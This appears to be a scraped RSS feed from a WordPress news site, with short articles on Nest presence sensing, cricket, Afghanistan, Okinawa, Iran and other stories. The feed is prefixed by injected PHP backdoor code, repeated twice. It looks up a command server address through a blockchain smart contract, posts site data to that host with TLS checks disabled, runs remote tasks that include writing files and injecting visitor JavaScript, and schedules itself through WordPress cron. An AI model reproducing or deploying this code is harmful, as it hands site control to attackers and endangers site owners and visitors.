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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Presence – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 23 Sep 2022 23:22:44 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Presence – Brief News https://briefnews.eu 32 32 Google Home can now use Nest speakers to detect your presence https://briefnews.eu/google-home-can-now-use-nest-speakers-to-detect-your-presence/ https://briefnews.eu/google-home-can-now-use-nest-speakers-to-detect-your-presence/#respond Fri, 23 Sep 2022 23:22:44 +0000 https://briefnews.eu/google-home-can-now-use-nest-speakers-to-detect-your-presence/ Google Home no longer needs to lean solely on smart home devices like thermostats to know whether or not you're around. Home's optional presence sensing feature can now use interactions with Nest speakers and smart displays to help detect activity in your abode, letting it perform automated actions. If you talk to your Nest Audio or tap your Nest Hub, for instance, Google may know to turn the lights on. Second-gen Nest Hubs can also use their Soli radar sensor to tell when you're close.

You can enable presence sensing in the Google Home app for Android and iOS by visiting the Features section in the settings. Detection is strictly opt-in, and Google stresses that ambient noise won't trigger presence cues. Cameras, doorbells and the Nest Hub Max won't switch devices between "home" and "away" modes.

Google Home presence sensing settings on Android
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The expansion makes presence detection considerably more useful. Until now, you needed a Nest Guard, Nest Protect, Nest Thermostat or Nest x Yale smart lock in tandem with your phone's location. While those are frequently good indicators, they don't always tell the full story — you might lock the door when someone is still at home. The use of speakers and displays could make Google's smart home automation more reliable, particularly in unusual scenarios.

]]> https://briefnews.eu/google-home-can-now-use-nest-speakers-to-detect-your-presence/feed/ 0 Paine’s presence steeling Australia’s future https://briefnews.eu/paines-presence-steeling-australias-future/ https://briefnews.eu/paines-presence-steeling-australias-future/#respond Mon, 17 Dec 2018 15:46:20 +0000 http://briefnews.eu/paines-presence-steeling-australias-future/ The ever-growing presence of Tim Paine as Test captain is giving his teammates the sort of confidence that could carry an emerging group to bigger and better things.

In just is fourth outing as Test captain, Paine made a statement in Perth with a feisty second innings batting effort that included a verbal back and forth with his Indian counterpart Virat Kohli.

Paine, who before the series began said being liked was never part of his mantra, stood his ground as Kohli tried to impart his own presence as the Aussies fought to maintain a winning edge.

Then when he took the gloves, Paine maintained his vocal efforts, and his classic “you can’t really like him” sledge to Kohli’s teammate Murali Vijay went viral.

Paine’s vice-captain Josh Hazlewood said it was evidence of a player, and person, growing in confidence in a role he was given out of nowhere.

But as a person with bountiful life experience, Hazlewood said Paine, who just turned 34, had the potential to continue to grow as a leader as Australian cricket looks to turn around its on and off-field persona.

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“I think he is getting more confident as time goes on. He’s quite an experienced player, as far as he’s been playing for a long time. He’s had time out of the game too, so he knows himself quite well, not just as a cricketer but as a person,” Hazlewood said.

“Off the field he is great to talk to about life as well. The cricket side takes care of itself.”

Paine also earned praise from one of Australia’s greatest ever captains, Allan Border.

“He’s doing everything fantastically well,” Border told Cricket 360.

Hazlewood praised Paine’s calm, clear-thinking manner, which was on show during two solid innings with the bat, including a second dig of 37, batting when the wicket, and the match, was most volatile.

“He keeps things quite calm and composed,” Hazlewood said.

“He doesn’t get too flustered any stage really. You could see that with the bat today. And in the field he leads very well, nice and calm. He’s been really great.”

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]]> https://briefnews.eu/paines-presence-steeling-australias-future/feed/ 0 Utah mayor killed in Kabul the latest victim of perpetual US presence in Afghanistan https://briefnews.eu/utah-mayor-killed-in-kabul-the-latest-victim-of-perpetual-us-presence-in-afghanistan/ https://briefnews.eu/utah-mayor-killed-in-kabul-the-latest-victim-of-perpetual-us-presence-in-afghanistan/#respond Sun, 04 Nov 2018 21:07:02 +0000 http://briefnews.eu/utah-mayor-killed-in-kabul-the-latest-victim-of-perpetual-us-presence-in-afghanistan/ The US serviceman killed in an insider attack in Kabul is identified as Brent Taylor, a mayor from Utah. While shocking to some back at home, this is only the latest such incident in a war that even top brass now call unwinnable.

North Ogden city mayor Major Brent Taylor was deployed to Afghanistan with the Utah National Guard at the beginning of this year. Taylor’s trip to Afghanistan was the fourth such deployment for the father of seven and was due to last one year.

Instead, Taylor was gunned down in an “apparent insider attack” in Kabul on Saturday. The gunman was reportedly a member of the Afghan National Defense and Security Forces – whom Taylor was deployed to train and advise. The gunman managed to wound another US service member, before other Afghan forces killed him.

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Taylor’s death was mourned by Utah Lieutenant Governor Spencer Cox, who wrote that the Afghan war “has once again cost us the best blood of a generation.”

His death was the latest in a series of so-called insider attacks – killings carried out by members of Afghan forces trained by US and Coalition troops. It came less than two weeks after a NATO soldier was killed in another suspected insider attack in western Herat province. Another such incident occurred in Logar province on September 3. Insider attacks have been a consistent threat in the conflict’s recent years, claiming dozens of lives at their peak in 2010-2012.

The attacks are emblematic of a war that shows no signs of reaching a conclusion. American and NATO troops have been present in Afghanistan since 2001 and over 2,200 US troops have been killed there in that time frame. Despite major combat operations being halted in 2014, the NATO contingent is still present in the country and there is no clear deadline for the forces’ withdrawal.

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Meanwhile, the Taliban has proven a resilient enemy. As well as being able to position infiltrators within regular Afghan units, the terror group has expanded its presence in recent months and now controls or influences just over half of the country’s 407 districts, according to US military estimates. On Sunday, the Taliban seized another Afghan base in central Uruzgan province.

The threat from the Taliban is compounded by the presence of Islamic State-Khorasan (IS-K) terrorist group, made up of mostly Pakistani Talibs who have pledged loyalty to Islamic State (IS, formerly ISIS/ISIL), and by Al-Qaeda operatives.

Afghanistan’s Air Force stepped up its own bombing campaign against the Taliban this year, with Coalition support, but despite dropping tons of US-made ordnance on the Taliban, casualties among Afghan ground forces have skyrocketed in recent months, with the country’s military suffering 1,000 fatalities in August and September, according to Pentagon figures.

Against this grim backdrop, Gen Austin Scott Miller, the newly-minted head of US and NATO operations in Afghanistan, admitted last week that the war against the Taliban “is not going to be won militarily,” but would require a “political solution.”

Less than two weeks before this proclamation, Miller himself narrowly avoided death when a teenage Taliban infiltrator shot a police chief dead in Kandahar province as the two men left a meeting at a local governor’s office.

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Miller’s words signal a change to expectations in Washington. Earlier this year, Secretary of State Mike Pompeo told US troops in Afghanistan that the Taliban “cannot wait us out,” and that they “will ultimately have to settle their differences with the Afghan government at the negotiating table.”

In August, a State Department official said that the US was doing “everything we can” to bring the Taliban and the Afghan government to the table.

Meanwhile, the Taliban has no interest in negotiating any kind of peace deal with the US involved. In a rare interview, Mullah Tofan, a Taliban warlord, told RT that his group “is not in the hands of Americans” and Taliban leaders would “never give permission to any Taliban members to negotiate” with America.

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]]> https://briefnews.eu/utah-mayor-killed-in-kabul-the-latest-victim-of-perpetual-us-presence-in-afghanistan/feed/ 0 Manifest Recap: Burdens of Truth — Plus, a Dark Presence Looms…. https://briefnews.eu/manifest-recap-burdens-of-truth-plus-a-dark-presence-looms/ https://briefnews.eu/manifest-recap-burdens-of-truth-plus-a-dark-presence-looms/#respond Tue, 02 Oct 2018 11:32:15 +0000 http://briefnews.eu/manifest-recap-burdens-of-truth-plus-a-dark-presence-looms/

NBC’s Manifest in Week 2 found the Flight 828 passengers continuing to pick up the pieces after their inexplicable absence — while also giving form to some… thing… that seems to be haunting them.

In the wake of the explosion of the actual aircraft that had dropped them off five-and-a-half years into the future, the 20 passengers that gravitated to the tarmac that night were detained and questioned by NSA Direct Vance and his agents — until Michaela played the cop card and got them all dismissed.

Michaela went to resume her job at the NYPD, only to learn that she’d have to jump through some hoops first, including a psych eval. The shrink notes that Michaela’s world was actually turned upside-down five months before the fateful trip to Jamaica; Mick acknowledges the death of her friend Evie (“We had a car accident”), and though she seemed at fault, she was exonerated.

Ben meanwhile starts to hear music in his head, and that leads him to run into Radd, a violinist/fellow passenger who was in Jamaica to play with the Philharmonic. Prior to the short trip, Radd had left his 13-year-old son with a neighbor; when he returned, Adio, now 18, had just landed behind bars for the robbery of the jewelry store where he worked. Ben has Mick pulls some strings to get Radd in to visit his son, who is freshly bruised from a prison beating.

When not getting his second cancer treatment from Saanvi (or being approached by a stranger on the street who declares, “He is risen!. He is not here, he is risen!”), Cal spends much of the episode griping about Grace being unable to replicate the exact same LEGO set he played with before vanishing. Olive eventually takes her dad for a drive to a storage unit. There, she reveals that Grace one day decided to pack up the untouched “sad museum” that Cal’s bedroom had become — but Olive intercepted the boxes and hid them away in the unit, having always “felt” that her twin was still alive. Ben, having just spotted an odd scuba diving scar on Grace’s back, sees scuba gear inside the locker, which Oliver reveals belongs to, um, a “friend of Mom’s.”

That impact of the disclosure is interrupted by Ben hearing the music again, and running down the hall to find its source. The music transforms into the ring of the cell phone belonging to a young man standing inside a unit loaded with the stolen jewelry store goods. It’s the store owner’s son, who figured Aido was an easy patsy. Ben clocks the dude, who later gets hauled away by the cops for that robbery and many others.

This latest “coincidence” feeds another mini-debate between Ben and Michaela about the series of “miracles” and whether God has a hand in what they experienced and continue to experience. Ben, though, as a scientist wants to gather more information.

Having creeped her own Facebook memorial page to see the many, many sad messages left by Lourdes over the years — including one expressing her hope that Mick blesses her engagement to Jared — Michaela reconnects with her onetime BFF. Michaela tries to own the awkwardness between them, contending that she is the one “out of place” in this triangle, but Lourdes won’t let her shoulder the blame. When Lourdes admits that she has felt like “a fraud” as Jared’s second choice, Michaela fibs that she was going to return his ring anyway, upon coming home from Jamaica.

As Episode 2 winds down, Michaela gets from the shrink a “conditional reinstatement” — and as a detective, no less (thanks, posthumous promotion!). Ben meanwhile tells Grace that it doesn’t matter how (or from whom) she got the strength to raise a teenage girl by herself, but that they do now have a “second chance,” so he beseeches her to remember loving him. (And judging by the mutual striptease that follows, some “remembering” is about to happen!)

Meanwhile, we see that a lady passenger who ignored the NSA directive and went on TV to share conspiracy theories about Flight 828 has been followed home by a… shadowy something that looks like the smudged figure that Cal worked into a drawing of his family. As the woman proudly watches her news appearance on the TV, a shot rings out and her blood splatters across the screen.

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]]> https://briefnews.eu/manifest-recap-burdens-of-truth-plus-a-dark-presence-looms/feed/ 0 Airbus says no-deal Brexit would force it to reconsider UK presence https://briefnews.eu/airbus-says-no-deal-brexit-would-force-it-to-reconsider-uk-presence/ https://briefnews.eu/airbus-says-no-deal-brexit-would-force-it-to-reconsider-uk-presence/#respond Fri, 22 Jun 2018 07:42:27 +0000 http://briefnews.eu/airbus-says-no-deal-brexit-would-force-it-to-reconsider-uk-presence/ FILE PHOTO: Flag with Airbus logo is pictured at the Airbus A380 final assembly line at Airbus headquarters in Blagnac near Toulouse, France, March 21, 2018. REUTERS/Regis DuvignauThomson Reuters

PARIS (Reuters) – Airbus issued its strongest warning yet over the impact of Britain’s departure from the European Union, saying a separation without a final deal between Britain and the EU would force it to reconsider its long-term position in the country.

In a statement issued late on Thursday, Airbus also said current plans for a transition period ending in December 2020 were too short for the planemaker to adapt its supply chain and would mean no further expansion in its UK supplier base.

(Reporting by Tim Hepher; Editing by Tom Brown)

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]]> https://briefnews.eu/airbus-says-no-deal-brexit-would-force-it-to-reconsider-uk-presence/feed/ 0 Brain interface adds sense of presence to bionic limbs https://briefnews.eu/brain-interface-adds-sense-of-presence-to-bionic-limbs/ https://briefnews.eu/brain-interface-adds-sense-of-presence-to-bionic-limbs/#respond Thu, 15 Mar 2018 02:44:19 +0000 http://briefnews.eu/brain-interface-adds-sense-of-presence-to-bionic-limbs/

It’s been possible for a while to control bionic limbs with your brain, but there’s been something missing: kinesthetic feedback, or the nervous system signals that give your limbs a sense of presence. You frequently have to stare at your artificial arm to ensure that you’re grabbing a cup instead of operating on instinct. That elusive quality may soon be a regular staple of prosthetics, however. Researchers have developed a neural interface that generate this feedback and make bionic feel like they’re part of your body.

The trick was to create a two-way interface that vibrating nerves at reinnervation sites (places where amputated nerves have been redirected to remaining muscles), convincing their brain that the limb is really there. Patients in tests could not only perform actions without looking at their prosthetic arms, they could often perform actions as elegantly as someone with natural limbs. And importantly, the prosthetics feel like their limbs, not just electronics strapped to their body.

This feedback isn’t very complex at the moment, and researchers intend to develop subtler signals that more closely replicate what you get from natural arms. However, it doesn’t have to be perfect to be effective — it just has to establish that instinctual link that would otherwise be lost. Amputees could spend less time training themselves to use prosthetics and more time actually using them.

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]]> https://briefnews.eu/brain-interface-adds-sense-of-presence-to-bionic-limbs/feed/ 0 Mexico’s CES 2018 presence is the start of something big https://briefnews.eu/mexicos-ces-2018-presence-is-the-start-of-something-big/ https://briefnews.eu/mexicos-ces-2018-presence-is-the-start-of-something-big/#respond Sat, 13 Jan 2018 07:29:04 +0000 http://briefnews.eu/mexicos-ces-2018-presence-is-the-start-of-something-big/

For many technology entrepreneurs and startups, CES is where dreams are born. It’s the place where their concepts and products are showcased to the masses for the first time ever, all with the hope to make a dent in one of the most thriving industries at the moment. Over the past 12 years, that’s been the case for Manuel Gutiérrez Novelo, a 47-year-old Mexican entrepreneur and inventor who has been attending the show since the ’00s. Gutierrez has launched a number of products throughout the years at CES, including what he calls the world’s “first” virtual reality viewer connected to a computer in 2006.

But CES 2018 was slightly different for Gutiérrez-Novelo. This year, he took on the task of bringing 20 of Mexico’s best startups to the show, as part of a project created in cooperation with the country’s government dubbed Mexico 4.0. It all began at last year’s CES, where he came across a Mexican official at the event who was taken aback by the fact that Gutiérrez’ company, Angel Inventum, was the only one from Mexico with a presence at the show. That led officials to ask him how they could help more entrepreneurs from Mexico showcase their work at CES.

Manuel Gutiérrez-Novelo.

The answer to that question was simple: They needed resources like money and, most importantly, a way to find the best talent in a country with almost 128 million people. Gutiérrez-Novelo said he worked with three government agencies, including INADEM (National Institute of Entrepreneurs of Mexico), which provides financial support to entrepreneurs and small-to-medium-sized businesses in the country. After months of conversations, what transpired was Mexico 4.0, a program designed to help inventors create companies, produce, market and export their technologies, as well as attract funding for them both in Mexico and internationally.

Gutiérrez-Novelo said there were about 2,300 applications from startups and other “well-established” firms all across Mexico, but only 20 were selected to make the trip to Las Vegas for CES 2018. Among them are companies like Happinss, a virtual reality platform that offers experiences focused on reducing stress and anxiety in the workplace. There’re also a handful that are working on 3D printing technologies like a modular device that can print different materials with ease thanks to interchangeable 3D printer heads.

3D printing is a key category for startups like MakerMex, particularly because it allows them to work with companies like Nissan, which have manufacturing plants in Mexico. According to a report by manufacturing firm The Offshore Group, automakers from all over the world have invested more than $ 13 billion to build their products in Mexico. That’s a huge investment in the country’s economy, one that MakerMex and other eager 3D printing startups can tap into with their machines.

The challenge for Gutiérrez-Novelo once Mexico 4.0 leaves CES 2018, however, will be to continue pushing these efforts back home. He said there’s already a plan to ensure that the show is just the start of something big, not just for the 20 lucky companies who were selected to be a part of the initial project, but for Mexico as a whole. Essentially, what the government and Gutiérrez-Novelo want to create is sort of an incubator to that helps entrepreneurs and startups grow into established entities, by providing all the necessary resources to create and develop ideas.

Of course, it’s no secret that the Mexican government doesn’t have the best reputation, what with talks of corruption always looming large over the country and its officials. Gutiérrez-Novelo believes that projects like Mexico 4.0 can help get rid of that stigma and move the country in the right direction. He added that one of the reasons he decided to work with the government is Mexico’s Minister of Innovation, Jaime Reyes, a former Vice President of Hewlett Packard for over 20 years. Gutiérrez-Novelo said Reyes was one of the officials who pushed the Mexico 4.0 project forward, and that he’s an official who truly wants to change Mexico from within.

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Enrique Peña Nieto.

“I want to remove that bad perception of Mexico,” Gutiérrez-Novelo said, “and the only way is by setting an example. There’s more good people in Mexico than bad people.” He added that while he had never worked with the government prior to this, he was immediately interested in the idea of creating a larger tech culture in the country. “It was interesting because [the government] had a lot of years of doing things the same way, and that clearly wasn’t working,” he said.

Rogelio Garza Garza, Mexico’s undersecretary of industry and commerce, told Engadget that, since President Enrique Peña Nieto took office in 2012, the goal has been to “transform to digital economy” and capitalize on the tech boom. That’s what’s driving initiatives like Mexico 4.0, which Garza Garza hopes will inspire people from all over the country and of all ages to innovate in the space. One of the main focuses after CES will be attracting that talent and providing them with the necessary resources to succeed, including improved education curriculums, scholarships and offering capital to entrepreneurs who need it.

If that human talent doesn’t exist or thrive, Garza Garza said it will be impossible to create an ecosystem of tech companies that the country can be proud of. “Mexico is in this [growing] process,” he said. “Sometimes maybe you think it’s going very, very slowly. But no, we work a lot. It’s difficult when you have years [of coming from behind].” Garza Garza knows it might take years before Mexico 4.0 can be called a success, but he believes the government’s heart is in the right place with the program.

With Peña Nieto leaving office next year, though, the challenge for Mexico 4.0 will be to maintain its efforts when a new president comes in. But Garza Garza said he doesn’t foresee any hurdles even if a new political party were to win the elections, noting that there are enough entrepreneurs and big corporations that “want to push the government” to continue with programs like this, regardless of which political party reigns. “The industrial side is very, very strong,” he said, “and [will] push the new government to continue with these types of policies.”

It’s no doubt that, compared to its North American neighbors US and Canada, Mexico is definitely playing catch up in tech. But at least there are people like Gutiérrez-Novelo, Reyes and Garza Garza trying to shift the paradigm, something that Mexico as a country desperately needs. And that vision for a new, tech-forward Mexico all started at CES.

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]]> https://briefnews.eu/mexicos-ces-2018-presence-is-the-start-of-something-big/feed/ 0 Okinawa governor demands US military presence pact amendments for the sake of 'shocked' locals https://briefnews.eu/okinawa-governor-demands-us-military-presence-pact-amendments-for-the-sake-of-shocked-locals/ https://briefnews.eu/okinawa-governor-demands-us-military-presence-pact-amendments-for-the-sake-of-shocked-locals/#respond Mon, 04 Dec 2017 04:44:24 +0000 http://briefnews.eu/okinawa-governor-demands-us-military-presence-pact-amendments-for-the-sake-of-shocked-locals/

The governor of Okinawa is urging Tokyo to amend the pact on the status of the US troops in Japan to combat the “significant anxiety” the locals are enduring because of the rowdy Americans’ presence.

The governor of the southern prefecture, Takeshi Onaga, demanded that the central government makes “drastic” and “fundamental” changes in the Japan-US Status of Forces Agreement (SOFA) during his meeting with Foreign Minister Taro Kono on Saturday, according to Japanese media.

“People in Okinawa have been shocked and are enduring significant anxiety,” Kyodo News quoted Onaga as saying. The meeting followed a decision by the Naha District Court in the prefecture’s main city to sentence a former US marine to life imprisonment for raping and killing a Japanese woman. The case provoked public outrage and triggered one of the massive anti-US protests on the island, with at least 50,000 people gathering to decry heavy US military presence.

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Last month, a 61-year-old woman was killed in a car accident after a member of the US Marine Corps crashed their truck into a light vehicle she was driving. His blood alcohol level was revealed to be three times over the legal limit. The fatal crash prompted an alcohol ban for all members of the US military stationed in Okinawa. The governor, however, protested: “We cannot contain our indignation,” saying that the local government had repeatedly urged the US forces to take preventive measures.

The accord with Washington is “unfair,” being overly protective of servicemen and civil workers of the US military bases, the governor stressed during his meeting with Kono. Onaga’s calls have only been met with promises that Tokyo will try to alleviate the burden borne by the Okinawa residents. “We want to improve what we can improve,” Asahi Shimbun quoted Taro Kono’s response.

Earlier in the day, however, the foreign minister requested the top commander of US military forces in Okinawa, Lt. Gen. Lawrence Nicholson, to take preventive steps given the latest incidents.

“We understand our obligation to the community and we can do that better as well. We will continue to look at our behavior, our actions and how we represent our country,” Nicholson said.

Okinawa is the home to several major US military bases, and 70 percent of land exclusively used by the US military in Japan is located in this prefecture.

About 50,000 US military personnel are stationed there, according to Reuters. 

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]]> https://briefnews.eu/okinawa-governor-demands-us-military-presence-pact-amendments-for-the-sake-of-shocked-locals/feed/ 0 CIA chief & Netanyahu threaten Iran over presence in Iraq & Syria https://briefnews.eu/cia-chief-netanyahu-threaten-iran-over-presence-in-iraq-syria/ https://briefnews.eu/cia-chief-netanyahu-threaten-iran-over-presence-in-iraq-syria/#respond Sun, 03 Dec 2017 10:49:51 +0000 http://briefnews.eu/cia-chief-netanyahu-threaten-iran-over-presence-in-iraq-syria/ Israel and the US won’t tolerate Iran’s presence in Syria and Iraq as it goes against their interests, Israel’s PM and the CIA’s director said in separate statements. The warnings follow an Israeli strike against a “military facility” near Damascus.

In a video message released hours after missiles struck targets near Damascus, Prime Minister Benjamin Netanyahu said the Iranian military presence in Syria poses an existential threat to Israel and would not be tolerated.

“Let me reiterate Israel’s policy: We will not allow a regime hell-bent on the annihilation of the Jewish state to acquire nuclear weapons. We will not allow that regime to entrench itself militarily in Syria, as it seeks to do, for the express purpose of eradicating our state,” said Netanyahu.

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The missile strike, which occurred just after midnight on Saturday, is said to have destroyed a Syrian weapons depot – although some reports claim the attack targeted an Iranian military facility allegedly being built in the area.

The Iranian-backed Hezbollah, fighting alongside the Syrian Army, has played a key role in ground operations against Islamic State (IS, formerly ISIS) militants in Syria. However, Israel says Iran is using Hezbollah to gain a military foothold near Syria’s disputed Golan Heights. Most of the region has been occupied by Israel since 1967.

In October, Moscow agreed to a new buffer zone along Israel’s border with Syria, which Iranian and Hezbollah forces would not be allowed to enter.

Since the start of the conflict in March 2011, numerous reports of Israeli attacks on the Syrian Arab Army and Hezbollah have surfaced. However, Tel Aviv does not as a rule comment on reported Israeli strikes.

Netanyahu’s warning to Tehran coincides with a similar statement made by CIA Director Mike Pompeo about the Iranian military presence in Iraq. Pompeo said Saturday that he sent a letter to Gen. Qassem Soleimani, leader of Iran’s Islamic Revolutionary Guard Corps and its elite Quds Force, warning Tehran not to interfere with American interests in Iraq. But Soleimani left the letter unopened, according to Pompeo.

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“What we were communicating to him in that letter was that we will hold he and Iran accountable,” Pompeo told a defense forum at the Ronald Reagan Presidential Foundation and Institute in Simi Valley, California. “We wanted to make sure that he and the leadership of Iran understood that in a way that was crystal clear.”

Similar to the dynamic in Syria, Iranian-backed militias have played a central role in pushing Islamic State and other jihadist groups out of Iraq.

At an October security conference in Baghdad, a Shiite militia leader said Shia Iran provided most of the support for Iraq’s fight against terrorism – and not the US-led international coalition.

Hadi al-Amiri, head of the Badr militia, claimed that “Iran is the one that helped on the ground in Iraq, and not the international coalition, during the war against ISIS.”

Despite grumblings from Israel and the United States, Russia has downplayed accusations that Iran’s part in anti-terror operations is a cover for sinister intentions. Along with Russia and Turkey, Iran is a guarantor of the current ceasefire and de-confliction zones in Syria.

“We do not have any information that someone is preparing an attack on Israel,” Russian Foreign Minister Sergey Lavrov said in August.

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]]> https://briefnews.eu/cia-chief-netanyahu-threaten-iran-over-presence-in-iraq-syria/feed/ 0 New study finds widespread presence of pesticide in honey https://briefnews.eu/new-study-finds-widespread-presence-of-pesticide-in-honey/ https://briefnews.eu/new-study-finds-widespread-presence-of-pesticide-in-honey/#respond Mon, 09 Oct 2017 23:53:29 +0000 http://briefnews.eu/new-study-finds-widespread-presence-of-pesticide-in-honey/ Honey

Researchers found the level of contamination from the neonicotinoid group of pesticides highest in North America.

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